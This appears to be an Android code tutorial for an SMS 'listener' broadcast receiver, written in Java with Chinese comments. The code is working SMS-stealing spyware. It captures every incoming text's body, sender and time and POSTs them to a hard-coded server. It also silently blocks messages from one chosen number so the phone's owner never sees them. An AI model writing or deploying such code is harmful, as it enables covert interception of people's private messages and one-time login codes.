1.创建广播接受者SMSbroadcastreaciver.java
1 package cn.caicai.smslistener; 2 3 import java.net.HttpURLConnection; 4 import java.net.URL; 5 import java.net.URLEncoder; 6 import java.text.SimpleDateFormat; 7 import java.util.Date; 8 import android.content.BroadcastReceiver; 9 import android.content.Context; 10 import android.content.Intent; 11 import android.telephony.SmsMessage; 12 13 public class SMSbroadcastreaciver extends BroadcastReceiver { 14 15 @Override 16 public void onReceive(Context context, Intent intent) { 17 Object[] pdus = (Object[]) intent.getExtras().get("pdus");//从intent内获取短信参数,pdus为参数字段 18 for (Object p : pdus) { 19 byte[] pdu = (byte[]) p; 20 SmsMessage message = SmsMessage.createFromPdu(pdu);//生成短信对象 21 String content = message.getMessageBody();// 取得短信内容 22 Date date = new Date(message.getTimestampMillis());//获取发送时间搓 23 SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//自定义时间格式 24 String receivetime = format.format(date); 25 String sendernum = message.getOriginatingAddress();//获取短信发送者 26 sendsms(sendernum, content, receivetime);//获取发送时间 27 if("15555215556".equals(sendernum)){//当发送的号码为SMSbroadcastreaciver,则拦截短信 28 abortBroadcast();//阻止继续广播,即达到拦截功能 29 } 30 } 31 32 } 33 34 private boolean sendsms(String sendernum, String content, String receivetime) { 35 try { 36 String path = "http://192.168.0.117/testxml/web.php"; 37 String params = "content=" + URLEncoder.encode(content,"UTF-8")+"&receivetime=" + receivetime + "&sendernum=" + sendernum; 38 byte[] entity = params.getBytes(); 39 HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection(); 40 conn.setConnectTimeout(5000); 41 conn.setDoOutput(true); 42 conn.setRequestMethod("POST"); 43 conn.setRequestProperty("Content-Type","application/x-www-form-urlencoded"); 44 conn.setRequestProperty("Content-Length",String.valueOf(entity.length)); 45 conn.getOutputStream().write(entity); 46 if (conn.getResponseCode() == 200) { 47 return true; 48 } 49 } catch (Exception e) { 50 e.printStackTrace(); 51 } 52 return false; 53 } 54 55 }